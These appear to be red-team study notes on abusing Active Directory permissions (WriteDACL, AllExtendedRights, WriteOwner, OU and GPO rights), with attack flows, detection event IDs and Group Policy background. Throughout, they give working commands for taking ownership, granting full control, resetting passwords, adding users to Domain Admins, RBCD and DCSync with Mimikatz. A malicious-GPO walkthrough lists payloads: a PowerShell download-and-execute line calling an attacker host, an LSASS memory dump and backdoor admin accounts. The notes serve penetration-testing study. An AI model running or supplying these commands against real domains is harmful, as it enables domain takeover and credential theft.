๐Ÿ‘‰ This is why itโ€™s dangerous:

With WriteDACL โ†’ you can give yourself full control (GenericAll) or any specific right


โš ๏ธ Core Idea (Very Important)

๐Ÿ‘‰ WriteDACL is NOT direct control

๐Ÿ‘‰ It is permission escalation primitive


WriteDACL โ†’ Modify ACL โ†’ Give yourself stronger rights โ†’ Abuse those rights

๐ŸŽฏ 2. Conditions Required for Abuse

โœ… Required Conditions

1. You control a principal (user/computer)

  • Your account OR compromised account

2. That principal has WriteDACL on target object

Example:


User A โ†’ WriteDACL โ†’ User B

3. Target object is valuable OR chainable

  • High privilege user

  • Privileged group

  • Computer (for delegation attacks)

  • OU / Domain (mass impact)


๐Ÿง  Key Understanding

From theory:

If object B has rights over object A โ†’ controlling B = controlling A


โš”๏ธ 3. Abuse Logic (Universal Flow)

Same for ALL objects:

Step 1: You have WriteDACL

Step 2: Modify DACL

Step 3: Grant yourself:

  • GenericAll (full control) OR

  • Specific rights (ForceChangePassword, AddMember, DCSync etc.)

Step 4: Abuse newly gained privilege

๐Ÿงฉ 4. Object-wise Abuse Breakdown


๐Ÿ‘ค A. WriteDACL on USER

๐Ÿ” What you control

  • Permissions of user object

โš”๏ธ What you do

You grant yourself:

  • GenericAll OR

  • ForceChangePassword OR

  • AllExtendedRights


๐Ÿ’ฅ Abuse Outcomes

1. Reset password (no creds needed)

  • Take over account

2. Kerberoasting

  • Add SPN โ†’ extract ticket โ†’ crack

3. Full takeover

  • Modify attributes

  • Persistence

๐Ÿง  Summary


WriteDACL โ†’ GenericAll โ†’ User takeover โ†’ Lateral movement

๐Ÿ‘ฅ B. WriteDACL on GROUP

๐Ÿ” What you control

  • Membership control of group

โš”๏ธ What you do

Grant yourself:

  • WriteMembers

๐Ÿ’ฅ Abuse Outcomes

1. Add yourself to group

  • If group = Domain Admins โ†’ instant DA

๐Ÿง  Summary


WriteDACL โ†’ AddMember โ†’ Privileged group โ†’ Privilege escalation

๐Ÿ’ป C. WriteDACL on COMPUTER

๐Ÿ” What you control

  • Computer object permissions

โš”๏ธ What you do

Grant yourself:

  • GenericAll

๐Ÿ’ฅ Abuse Outcomes

1. RBCD (Resource-Based Constrained Delegation)

  • Impersonate users โ†’ SYSTEM access

2. Modify SPNs

  • Kerberos abuse

3. Take machine control

  • Pivot to domain

๐Ÿง  Summary


WriteDACL โ†’ GenericAll โ†’ RBCD โ†’ SYSTEM โ†’ Domain pivot

๐Ÿข D. WriteDACL on OU (Organizational Unit)

๐Ÿ” What you control

  • All objects inside OU (inherited permissions)

โš”๏ธ What you do

Grant yourself:

  • GenericAll on OU (inheritable)

๐Ÿ’ฅ Abuse Outcomes

1. Control all users in OU

  • Reset passwords

  • Add SPNs

2. Control all computers

  • RBCD attacks

3. Massive lateral movement


๐Ÿง  Key Insight

๐Ÿ‘‰ OU = multi-object attack surface


WriteDACL โ†’ Inheritance โ†’ Control multiple objects โ†’ Scale attack

๐ŸŒ E. WriteDACL on DOMAIN (MOST CRITICAL)

๐Ÿ” What you control

  • Entire domain ACL

โš”๏ธ What you do

Grant yourself:

  • DCSync rights:
    • DS-Replication-Get-Changes
    • DS-Replication-Get-Changes-All

๐Ÿ’ฅ Abuse Outcomes

๐Ÿ”ฅ DCSync Attack

  • Dump password hashes of:
    • Domain Admins
    • KRBTGT
  • Full domain compromise

๐Ÿง  Summary


WriteDACL โ†’ Add DCSync rights โ†’ Dump hashes โ†’ Full domain takeover

โš ๏ธ 5. Why WriteDACL is EXTREMELY Dangerous

  • Works on ANY object

  • Fully stealthy compared to exploits

  • Doesnโ€™t require admin initially

  • Enables:

    • Privilege escalation
    • Lateral movement
    • Persistence

๐Ÿ‘‰ Itโ€™s a meta-permission (controls other permissions)

๐Ÿšจ 6. Detection & Alerts (Very Important)

๐Ÿ” What to Monitor

1. ACL Changes

  • Attribute:

    nTSecurityDescriptor
  • Any change = suspicious

2. WriteDACL Usage Events

  • Windows Event IDs:
    • 4662 โ†’ Object permission change
    • 5136 โ†’ Directory object modified

3. Suspicious Patterns

  • New ACE granting:
    • GenericAll
    • WriteDACL
    • DCSync rights

๐Ÿง  FINAL MENTAL MODEL (IMPORTANT)

Think like this:


WriteDACL = Permission Editor Access

If you can edit permissions โ†’

    You can give yourself power โ†’

        You become owner/control entity

๐Ÿ”ฅ Quick Comparison Table

Object | What you gain | Final Impact |
โ€” | โ€” | โ€” |
User | Reset password / full control | Account takeover |
Group | Add yourself | Privilege escalation |
Computer | RBCD / control | SYSTEM / pivot |
OU | Control many objects | Large-scale takeover |
Domain | DCSync | Full domain compromise |

All Extended Rights

๐Ÿ“Œ 1. Definition

AllExtendedRights in Active Directory:

๐Ÿ‘‰ Grants permission to perform all extended (special) operations on an object.


๐Ÿง  Extended Rights = Special Actions

Not full control, but powerful operations like:

  • Reset password

  • Replication (DCSync)

  • Delegation-related actions

  • Authentication permissions


๐Ÿ”ฅ Core Idea


AllExtendedRights = Perform critical privileged actions WITHOUT full write access

โš ๏ธ 2. Conditions for Abuse

โœ… General Conditions

  • You must have AllExtendedRights on the target object

  • Network access to Domain Controller

  • Target object not blocking required operation (edge cases)


โš ๏ธ Special Conditions (Important)

Target | Extra Requirement |
โ€” | โ€” |
User | Not protected by AdminSDHolder (sometimes) |
Computer | Need attacker-controlled machine/SPN |
Domain | Must apply on domain root object |
OU | Not useful (no strong extended rights) |

๐Ÿ‘ค USER Object

๐ŸŽฏ What you can do

๐Ÿ‘‰ Reset password

โš”๏ธ Attack Flow


AllExtendedRights โ†’ Reset Password โ†’ Account Takeover

๐Ÿ’ป Command


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

๐Ÿ’ฅ Impact

  • Full user access

  • Privilege escalation (if privileged user)

๐Ÿ’ป COMPUTER Object

๐ŸŽฏ What you can do

๐Ÿ‘‰ Read Laps Password

You may read the LAPS password of the computer object. For more information about that, see the ReadLAPSPassword edge section.

๐Ÿ‘‰ RBCD (Resource-Based Constrained Delegation)

โš”๏ธ Attack Flow


AllExtendedRights โ†’ Set msDS-AllowedToActOnBehalfOfOtherIdentity โ†’ RBCD โ†’ SYSTEM

๐Ÿ’ป Command


Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

๐Ÿ’ฅ Impact

  • SYSTEM access on target machine

  • Lateral movement

๐ŸŒ DOMAIN Object

๐Ÿง  What is a โ€œDomain Objectโ€?

In Active Directory:

๐Ÿ‘‰ A domain object refers to the root object of the domain itself, not users, computers, or OUs.


๐Ÿ“Œ Example

For a domain:


domain.local

The domain object is:


DC=domain,DC=local

๐Ÿงฉ Think of AD hierarchy like this:


DC=domain,DC=local        โ† ๐ŸŒ DOMAIN OBJECT (this is what we mean)

โ”‚

โ”œโ”€โ”€ OU=IT

โ”‚    โ”œโ”€โ”€ user1

โ”‚    โ””โ”€โ”€ computer1

โ”‚

โ”œโ”€โ”€ OU=HR

โ”‚    โ””โ”€โ”€ user2

๐Ÿ”ฅ Key Understanding

Term | Meaning |
โ€” | โ€” |
Domain | Logical network (domain.local) |
Domain Object | The AD object representing the domain |
Distinguished Name | DC=domain,DC=local |

๐ŸŽฏ What you can do

๐Ÿ‘‰ DCSync attack

๐ŸŽฏ What you want to see


attacker โ”€โ”€AllExtendedRightsโ”€โ”€โ–ถ domain.local

โš”๏ธ Attack Flow


AllExtendedRights โ†’ Replication Rights โ†’ DCSync โ†’ Dump hashes โ†’ Domain Compromise

๐Ÿ’ป Command (Mimikatz)


lsadump::dcsync/domain:domain.local/user:Administrator

๐Ÿ’ฅ Impact

  • Dump NTLM hashes of all users

  • Full domain compromise

Write Owner

๐Ÿ“Œ 1. Definition

WriteOwner in Active Directory allows you to:

๐Ÿ‘‰ Change the owner of an object (user, group, computer, OU)


๐Ÿง  Why ownership matters

In AD:


Owner โ†’ has implicit right to modify ACL (DACL)

๐Ÿ‘‰ Even if you donโ€™t have GenericAll, as owner you can:

  • Modify permissions

  • Grant yourself full control

๐Ÿ”ฅ Core Idea


WriteOwner โ†’ Take Ownership โ†’ Modify ACL โ†’ Full Control โ†’ Abuse

โš”๏ธ 2. Abuse Flow (Generic)

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 โ€” Grant yourself full control


Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity attacker -RightsAll

Step 3 โ€” Abuse based on object type

๐Ÿงฉ 3. WriteOwner on USER

๐Ÿ“Œ What you get

After abuse:

  • Reset password

  • Add SPN (Kerberoasting)

  • Shadow credentials

  • Account takeover

โš”๏ธ Example Attack

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 โ€” Full control


Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll

Step 3 โ€” Reset password


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

๐ŸŽฏ Result

๐Ÿ‘‰ Full account takeover

โœ… Conditions

  • WriteOwner on user

  • Target not protected (or still modifiable)

  • You can reach DC

๐Ÿ’ป 4. WriteOwner on COMPUTER

๐Ÿ“Œ What you get

After abuse:

  • Modify attributes

  • Set delegation (RBCD)

  • Control machine account

โš”๏ธ Example Attack (RBCD path)

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 โ€” Full control


Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll

Step 3 โ€” Set RBCD


Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

๐ŸŽฏ Result

๐Ÿ‘‰ SYSTEM access on target machine

โœ… Conditions

  • WriteOwner on computer

  • Ability to create/control attacker machine (SPN)

  • Kerberos abuse possible

๐Ÿ‘ฅ 5. WriteOwner on GROUP

๐Ÿ“Œ What you get

  • Add members to group

  • Full control over group

โš”๏ธ Example Attack

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 โ€” Full control


Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -RightsAll

Step 3 โ€” Add yourself


Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

๐ŸŽฏ Result

๐Ÿ‘‰ Domain Admin access


โš ๏ธ Note

  • High-value target

  • Likely monitored


โœ… Conditions

  • WriteOwner on group

  • Group not protected OR ACL still modifiable

๐Ÿข 6. WriteOwner on OU

๐Ÿ“Œ What you get

  • Control over OU ACL

  • Ability to push permissions to child objects

โš”๏ธ Example Attack

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity "OU=IT,DC=domain,DC=local"-OwnerIdentityattacker

Step 2 โ€” Full control


Add-DomainObjectAcl-TargetIdentity"OU=IT,DC=domain,DC=local"-PrincipalIdentityattacker-RightsAll

Step 3 โ€” Push inherited control


Add-DomainObjectAcl `

-TargetIdentity"OU=IT,DC=domain,DC=local" `

-PrincipalIdentityattacker `

-RightsAll `

-InheritanceTypeDescendents `

-TargetTypeUser

๐ŸŽฏ Result

๐Ÿ‘‰ Control over:

  • Users

  • Computers inside OU


๐Ÿ’ฅ Follow-up attacks

  • Reset passwords

  • RBCD on computers

  • Group abuse


โœ… Conditions

  • WriteOwner on OU

  • Inheritance enabled on child objects


๐Ÿ”ฅ 7. Summary Table

Target | What you gain | Final impact |
โ€” | โ€” | โ€” |
User | Full control | Account takeover |
Computer | Delegation control | SYSTEM access |
Group | Membership control | Privilege escalation |
OU | Control over children | Mass compromise |

๐Ÿง  8. Key Differences vs GenericAll

Right | Capability |
โ€” | โ€” |
GenericAll | Direct full control |
WriteOwner | Indirect โ†’ must escalate via ACL |

๐Ÿง  9. One-line Takeaway

๐Ÿ‘‰ WriteOwner is a privilege escalation primitive โ€” not direct control, but a stepping stone to full compromise.

OU Abuse


INHERITANCE CHAIN:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”

โ”‚ EXPLICIT PERMISSIONS ON OU                                  โ”‚

โ”‚ (What you directly assign to OU)                            โ”‚

โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

                   โ”‚

                   โ”œโ”€ Apply to OU itself

                   โ”‚

                   โ”œโ”€ INHERIT DOWN (unless blocked)

                   โ”‚     โ”œโ”€ Child OUs

                   โ”‚     โ”œโ”€ Computers

                   โ”‚     โ”œโ”€ Users

                   โ”‚     โ”œโ”€ Groups

                   โ”‚     โ””โ”€ Other objects

                   โ”‚

                   โ””โ”€ Inheritance Type:

                       โ”œโ”€ "This object and all descendant objects"

                       โ”‚   (DEFAULT - most permissive)

                       โ”‚

                       โ”œโ”€ "This object only"

                       โ”‚   (NO inheritance)

                       โ”‚

                       โ””โ”€ "All descendant objects"

                           (Child objects only, not OU itself)

Key Rule: Unless an OU has โ€œProtect from inheritanceโ€ enabled, ALL permissions granted on parent OU flow down to children automatically.

GENERIC RIGHTS

1A. GenericAll (Full Control)

OU-Level Permission:


Grants: All operations on the OU object itself

- Read all properties

- Modify all properties

- Delete the OU

- Change permissions

- Change owner

- Create child objects

Inheritance to Child Objects:


โœ“ YES - ALL children inherit GenericAll

  โ”œโ”€ Computers  โ†’ Can reset passwords, modify all properties

  โ”œโ”€ Users      โ†’ Can reset passwords, modify all properties

  โ”œโ”€ Groups     โ†’ Can modify membership, properties

  โ””โ”€ Child OUs  โ†’ Full control of child OUs recursively

Affected Objects:

  • โœ“ All users in OU and child OUs

  • โœ“ All computers in OU and child OUs

  • โœ“ All groups in OU and child OUs

  • โœ“ All child OUs (recursively)

1B. GenericRead

OU-Level Permission:


Grants: Read all properties on OU

- Cannot modify

- Cannot delete

- Cannot create

Inheritance to Child Objects:


โœ“ YES - Children inherit read rights

  โ”œโ”€ Can read all properties of users/computers/groups

  โ”œโ”€ Can enumerate OU contents

  โ””โ”€ Cannot modify anything

Affected Objects:

  • โœ“ Can read all user properties

  • โœ“ Can read all computer properties

  • โœ“ Can read all group properties

  • โœ“ Can enumerate memberships

2. PROPERTY-SPECIFIC WRITE RIGHTS

2A. GenericWrite

OU-Level Permission:


Grants: Write all non-schema properties

- Modify all non-system attributes

- Cannot reset passwords directly

- Cannot modify permissions (needs WriteDacl)

Inheritance to Child Objects:


โœ“ YES - ALL children inherit GenericWrite

  โ”œโ”€ Users โ†’ Modify scriptPath, homeDirectory, etc.

  โ”œโ”€ Computers โ†’ Modify delegated rights, DNS names

  โ”œโ”€ Groups โ†’ Modify descriptions, managedBy

  โ””โ”€ Child OUs โ†’ Modify properties

Affected Objects:

  • โœ“ All users in OU

  • โœ“ All computers in OU

  • โœ“ All groups in OU

  • โœ“ All child OUs

2B. WriteProperty (Specific Attribute)

OU-Level Permission:


Grants: Write to specific attributes only (e.g., mail, telephone)

- Very granular permission

- Inheritance depends on what property

Inheritance to Child Objects:


โœ“ YES - Inheritance applies to the specific property

  โ”œโ”€ Can write that property on all children

  โ”œโ”€ Cannot write other properties

  โ””โ”€ If property is "scriptPath" โ†’ RCE

3. DEFERENTIAL RIGHTS (Change Control & Ownership)


3A. WriteDacl (Modify Permissions)

OU-Level Permission:


Grants: Modify the ACL on the OU

- Add/remove permissions

- Grant yourself Full Control

- Grant others permissions

Inheritance to Child Objects:


โœ“ YES - Can modify ACLs on all children

  โ”œโ”€ Users โ†’ Grant yourself Reset Password right

  โ”œโ”€ Computers โ†’ Grant yourself Full Control

  โ”œโ”€ Groups โ†’ Grant yourself modify right

  โ””โ”€ Child OUs โ†’ Modify their ACLs recursively

Affected Objects:

  • โœ“ All users (grant yourself reset password)

  • โœ“ All computers (grant yourself full control)

  • โœ“ All groups (grant yourself modify membership)

  • โœ“ All child OUs (recursive ACL modification)

3B. WriteOwner (Change Owner)

OU-Level Permission:


Grants: Change the owner of the OU

- Owner has implicit Full Control

- Change owner to yourself โ†’ Full Control

Inheritance to Child Objects:


โœ“ YES - Can change owner of all children

  โ”œโ”€ Users โ†’ Become owner โ†’ Full Control

  โ”œโ”€ Computers โ†’ Become owner โ†’ Full Control

  โ”œโ”€ Groups โ†’ Become owner โ†’ Full Control

  โ””โ”€ Child OUs โ†’ Become owner โ†’ Full Control recursively

Affected Objects:

  • โœ“ All users in OU

  • โœ“ All computers in OU

  • โœ“ All groups in OU

  • โœ“ All child OUs

4. OBJECT CREATION & DELETION RIGHTS


4A. CreateChild

OU-Level Permission:


Grants: Create child objects in the OU

- Can create users, computers, groups

- Cannot modify existing objects

Inheritance to Child Objects:


โœ“ YES (in a specific way) - Can create children inside child OUs

  โ”œโ”€ OU level: Can create objects in this OU

  โ”œโ”€ Child OUs: Can create objects inside child OUs

  โ””โ”€ Inheritance type: "This object and all descendant objects"

Affected Objects:

  • โœ“ Can create anywhere in OU and child OUs

  • โœ“ Creates can be given arbitrary properties/memberships

  • โœ“ No restrictions on what you create

5. EXTENDED RIGHTS (Special Capabilities)


5A. ExtendedRight - Reset Password

OU-Level Permission:


Grants: Reset passwords for all users in OU

- Can set new password

- User doesn't need to know old password

- Requires explicit Extended Right GUID

GUID: 00299570-246d-11d0-a768-00aa006e0529

Inheritance to Child Objects:


โœ“ YES - Can reset passwords on all children

  โ”œโ”€ Users in OU โ†’ Password reset

  โ”œโ”€ Users in child OUs โ†’ Password reset

  โ””โ”€ Non-inherited: Doesn't apply to computers/groups

Affected Objects:

  • โœ“ All users in OU and child OUs

  • โœ— Does NOT affect computers or groups directly

5B. ExtendedRight - Force Change Password

OU-Level Permission:


Grants: Force user to change password at next logon

- User can't use account until password changed

- Attacker doesn't know the new password

- Used for DoS or forcing re-authentication

GUID: 00299570-246d-11d0-a768-00aa006e0529 (combined with Reset)

5C. ExtendedRight - SendTo

OU-Level Permission:


Grants: Send messages to the object (Exchange-related)

- Rarely used in pure AD

- More relevant in Exchange environments

5D. ExtendedRight - Add/Remove Self as Member

OU-Level Permission:


Grants: Add yourself to groups in OU

- Can self-add to any group

GenericAll / Write on OU

๐Ÿง  1. What GenericWrite on OU Actually Means

๐Ÿ” GenericWrite = Attribute-level control

  • You cannot fully control the OU

  • But you can modify specific attributes of the OU

๐Ÿ‘‰ One critical attribute:

gPLink


GPO

โ”œโ”€โ”€ GPC (AD Object)

โ””โ”€โ”€ GPT (SYSVOL Files)

๐Ÿ“Œ Definition

gPLink = attribute that defines which GPOs are linked to an OU

  • OU doesnโ€™t directly enforce policies

  • It links to GPOs, and those GPOs apply to:

    • Users inside OU
    • Computers inside OU

๐Ÿง  Mental Model


OU โ†’ (gPLink) โ†’ GPO โ†’ Applies to โ†’ Users & Computers

๐Ÿ‘‰ So if you control gPLink, you control what policies apply

๐Ÿ”ฅ 3. Why GenericWrite on OU is Dangerous

Even without full control:

๐Ÿ‘‰ If you can modify gPLink

โ†’ You can attach a malicious GPO

โ†’ That GPO executes actions on all child objects

๐ŸŽฏ Lab Setup

  • Attacker user: attacker

  • Target OU: OU=IT,DC=domain,DC=local

  • Inside OU:

    • Users: john, admin1
    • Computers: IT-PC01

๐Ÿ‘‰ You have:


GenericWrite โ†’ OU=IT

๐Ÿง  Attack Goal


Abuse gPLink โ†’ Link malicious GPO โ†’ Execute code on all OU machines

โš”๏ธ Step 1: Verify Access (BloodHound / PowerView)

PowerView check:


Get-ObjectAcl -Identity "OU=IT,DC=domain,DC=local" -ResolveGUIDs

๐Ÿ” Output (snippet):


IdentityReference : DOMAIN\attacker

ActiveDirectoryRights : GenericWrite

ObjectDN : OU=IT,DC=domain,DC=local

โœ… Confirms you can modify OU attributes (including gPLink)

โš”๏ธ Step 2: Create Malicious GPO


New-GPO -Name "evilGPO"

โœ” Output:


DisplayName      : evilGPO

Id               : 6f3c1b44-9d8e-4b1c-92c2-123456789abc

GpoStatus        : AllSettingsEnabled

โš”๏ธ Step 3: Modify GPO to Execute Payload

Example: Add startup script


Set -GPStartupScript -Name "evilGPO" -ScriptName "shell.bat" -ScriptParameters""

Example payload (shell.bat)


net localgroup administrators attacker /add

๐Ÿ‘‰ Effect:

  • Any machine in OU โ†’ attacker becomes local admin

New-GPLink -Name "evilGPO" -Target "OU=IT,DC=domain,DC=local"

๐Ÿ” What happens internally:


gPLink attribute updated:

[LDAP://CN={GPO-GUID},CN=Policies,CN=System,...]

โš”๏ธ Step 5: Wait for Policy Application

Force update (if you have access):


gpupdate/force

๐Ÿ–ฅ๏ธ On victim machine:


whoami /groups

โœ” Output:


BUILTIN\Administrators

DOMAIN\attacker

๐Ÿ”ฅ You are now local admin on all machines in OU

๐Ÿ’ฅ Alternate Payloads

๐ŸŽฏ 1. Reverse Shell


powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"

๐ŸŽฏ 2. Dump Credentials


rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

๐ŸŽฏ 3. Persistence


net user backdoor Pass@123 /add

net localgroup administrators backdoor /add

๐Ÿ”„ Step 6: Domain Escalation Path

Once you get local admin:


Local Admin โ†’ Dump creds โ†’ Lateral movement โ†’ Domain Admin

๐Ÿง  Real Attack Chain


GenericWrite (OU)

    โ†“

Modify gPLink

    โ†“

Link malicious GPO

    โ†“

Code execution on machines

    โ†“

Local admin access

    โ†“

Credential dump

    โ†“

Domain compromise

๐Ÿšจ Detection Example

๐Ÿ” Event ID 5136 (Directory Change)


Attribute Modified: gPLink

Object: OU=IT,DC=domain,DC=local

New GPO linked: evilGPO

Target: OU=IT

๐Ÿ” Endpoint Alert

  • Multiple machines executing:

net localgroup administrators attacker /add

๐Ÿง  Key Takeaway


You didnโ€™t exploit machines directly.

You modified policy โ†’

Policy executed for you โ†’

Machines compromised themselves.

๐Ÿ”ฅ Clean One-Liner

GenericWrite on OU โ†’ control gPLink โ†’ push malicious GPO โ†’ mass compromise

GPO Abuse

Understanding The Core Concept

๐Ÿ” Group Policy in Active Directory (AD)

In a Windows domain environment, Group Policy is a framework for centralized management and configuration of operating systems, applications, and user settings.

Instead of having to manually configure each machine or user account, you define settings once, and AD pushes them out automatically.

Think of it like a remote control panel for every domain-joined computer and user in your organization.


2. Scope of Group Policy

Group Policy settings apply either to computers or to users โ€” but not both at the same time for a single policy setting.

Target | Examples of Settings |
โ€” | โ€” |
Computers | Security settings (e.g., disable USB, enforce firewall rules), startup/shutdown scripts, software installation, registry changes. |
Users | Password complexity, logon/logoff scripts, drive mappings, desktop background, access to Control Panel. |

๐Ÿ“Œ When a computer starts up, computer policies apply.

When a user logs in, user policies apply.

3. What is a GPO (Group Policy Object)?

A GPO is the container for all these policy settings.

GPO stands for Group Policy Object.

Itโ€™s a set of rules and configurations in Active Directory that control how users and computers behave in a Windows domain.

Think of it like a file that holds a bunch of rules.

Example:

  • A GPO named โ€œPassword Policyโ€ might include:
    • Minimum password length = 12
    • Password must include numbers and symbols

Where GPOs Live:

  • Two parts:
    1. Group Policy Container (GPC) โ€” stored in Active Directory
      • Holds metadata: version numbers, GPO links, security filtering.
    2. Group Policy Template (GPT) โ€” stored in SYSVOL (shared folder on Domain Controllers)
      • Holds the actual settings files: registry.pol, scripts, ADM templates, etc.

In above image APPLOCKER is the GPO

What Can a GPO Do?

  • Configure security policies (e.g., password length, lockout time).

  • Deploy software automatically.

  • Run scripts on logon/logoff/startup/shutdown.

  • Restrict access to system tools.

  • Configure firewall, RDP, and service settings.

Inshort:

Group Policy = the concept (rules)

GPO = the object (container holding those rules)


4. Linking GPOs

You can link a GPO to three main AD container levels:

  1. Domain โ€” affects all users/computers in the domain.

  2. Site โ€” affects all users/computers in a physical site.

  3. Organizational Unit (OU) โ€” affects only those in that OU (and sub-OUs).

Example:

  • If you link a GPO to Sales OU, only the Sales department users/computers get those policies.

5. Organizational Units (OUs)

  • OUs (Organizational Units) are containers within a domain used to organize users, computers, and groups.

  • An OU is the lowest-level container where you can apply GPOs.

  • They are also used for delegating administration โ€” you can allow certain IT staff to manage only a specific OU (e.g., only โ€œHR Departmentโ€ computers).

  • This helps split responsibilities and prevent one admin from having full domain control.

Note:- all student user account are in the default โ€œUsersโ€ container of the DOLLARCORP.MONEYCORP.LOCAL domain, not in an Organizational Unit (OU).

You only get GPOs that are linked to the domain or site. OU-specific policies wonโ€™t affect you because you are in the default Users container and you are not part of any OU.


6. Security Implications โ€” Why GPOs Matter in Attacks

Legit use: They centralize management โ€” admins can roll out changes to hundreds or thousands of machines in seconds.

Misconfigured GPOs are a goldmine for attackers because:

  • If a user can modify a GPO linked to systems they donโ€™t own โ†’ they can push malicious settings.

  • GPOs can run scripts automatically โ†’ an attacker can drop a startup script to execute malware on many systems at once.

  • Attackers can modify security settings (e.g., add themselves to โ€œLocal Administratorsโ€ group) through GPO.

  • They can be used for persistence (stay hidden even after account resets).

Common Attack Scenarios

Misconfiguration | Potential Abuse |
โ€” | โ€” |
GPO linked to critical servers but editable by low-privileged users | Privilege escalation (attacker becomes admin on target machines) |
OU-level GPO with weak permissions | Attackers take control of that departmentโ€™s systems |
Scripts stored in GPO not signed or secured | Inject malicious code to run on every affected machine |

๐Ÿ’กIn short:

GPOs are Active Directoryโ€™s remote control for configuring and enforcing policies on domain-joined systems. Great for admins, terrifying when misused.


โœ… In short:

  • Group Policy = Centralized configuration system for AD environments.

  • GPO = A package of policy settings, permissions, and scope.

  • OU = The smallest AD container for applying GPOs and delegating admin rights.

  • Security risk = If permissions are too open, GPOs can be abused for privesc, persistence, and mass compromise.


๐Ÿ—๏ธ How Group Policy Works

  • Admins create/edit GPOs (Group Policy Objects) using Group Policy Management Console (GPMC).

  • Edit the GPO and configure desired settings (user policies, computer policies).

  • Link/apply the GPO to a site, domain, or OU (Organizational Units) where the target users/computers reside.

  • The Group Policy Client on each computer downloads and applies the policies periodically (every 90 minutes by default).

  • You can force it using gpupdate /force.

Real-World Use Case in AD Environment

  • Company wants to enforce password complexity โ†’ set it in a domain GPO.

  • Disable access to USB ports for all interns โ†’ apply a GPO to the โ€œInterns OUโ€.

  • Map a shared drive (Z:) for all users โ†’ set it in User Configuration > Preferences > Drive Maps.

โš ๏ธ Group Policy as an Attack Vector

GPOs can be abused by attackers for:

  • Privilege Escalation โ€“ Add accounts to privileged groups via GPO.

  • Persistence โ€“ Use logon/startup scripts to run backdoors or malware.

  • Backdoors โ€“ Push malicious scheduled tasks or tools across endpoints.

  • Security Bypass โ€“ Disable antivirus, firewall, or auditing logs.

๐Ÿง  Example: An attacker with GPO edit access adds a PowerShell payload to a logon script, compromising all systems in the targeted OU.

Note:- Using the command line tool from powerview you can list group policies, but you cannot list the settings

Get list of GPO in current domain.


Get-DomainGPO 

Lists all Group Policy Objects (GPOs) in the current domain.

Filter the output to only shows the Group Policy Objects name:


Get-DomainGPO  |  select DisplayName     

you can only view the GPO name but cannot view the policies being applied by each GPO, eg: you cannot view the policies applied by applocker

Note: - Tools like GP result or RSOP can only show group policy of current machine and not of remote machine

Get a Specific GPOโ€™s Details:


Get-DomainGPO -Identity "DevOps Policy"

Output (example):


displayname       : DevOps Policy

gpcfilesyspath    : \\corp.local\SysVol\corp.local\Policies\{0BF8D01C-1F62-4BDC-958C-57140B67D147}

objectguid        : 0bf8d01c-1f62-4bdc-958c-57140b67d147

whencreated       : 7/01/2025 02:34:56 PM

whenchanged       : 8/05/2025 09:15:12 AM

versionnumber     : 12

distinguishedname : CN={0BF8D01C-1F62-4BDC-958C-57140B67D147},CN=Policies,CN=System,DC=corp,DC=local
  • gpcfilesyspath is the path where the GPOโ€™s settings files live โ€” critical for GPOddity abuse.

  • distinguishedname is the LDAP path for AD metadata.


Get-DomainGPO -ComputerIdentity dcorp-student1 โ†’ **Shows only the GPOs that apply to a specific computer, such as dcorp-student1.


Get GPO(s) which use Restricted Groups or groups.xml for interesting users:


**Get-DomainGPOLocalGroup**        ** 

This command finds Group Policy Objects (GPOs) that modify local group memberships, such as adding users to the local Administrators on domain-joined machines.

It specifically looks for:

  • Restricted Groups

  • Groups.xml (used by Group Policy Preferences)

These are methods used by admins (and sometimes attackers) to add or remove users/groups from local groups, especially local Administrators.

Why It Matters (Red Team Perspective):

An attacker with write access to a GPO can use it to:

  • Add themselves (or another user) to the Administrators group on all systems where the GPO is applied.

  • Achieve stealthy privilege escalation or persistence without touching the machine directly.

Example:

  • There is an Organizational Unit (OU) named Workstation, which contains 100 domain-joined devices.

  • Due to security compliance, enabling or managing local Administrator accounts manually on each of the 100 devices is not feasible or allowed.

  • So, a new Group Policy Object (GPO) is created called Workstation-Admin.

  • This GPO uses Restricted Groups to:

    • Modify the local Administrators group on all devices in the Workstation OU.
    • Add a specific domain group, e.g., CORP\WorkstationAdminGroup, to the Administrators group on each workstation.
  • This GPO is linked to the Workstation OU, which means it will be enforced on all 100 devices within the OU.

  • As a result, any user added to CORP\WorkstationAdminGroup will now have local admin rights on all 100 systems.


Domain Enumeration - GPO

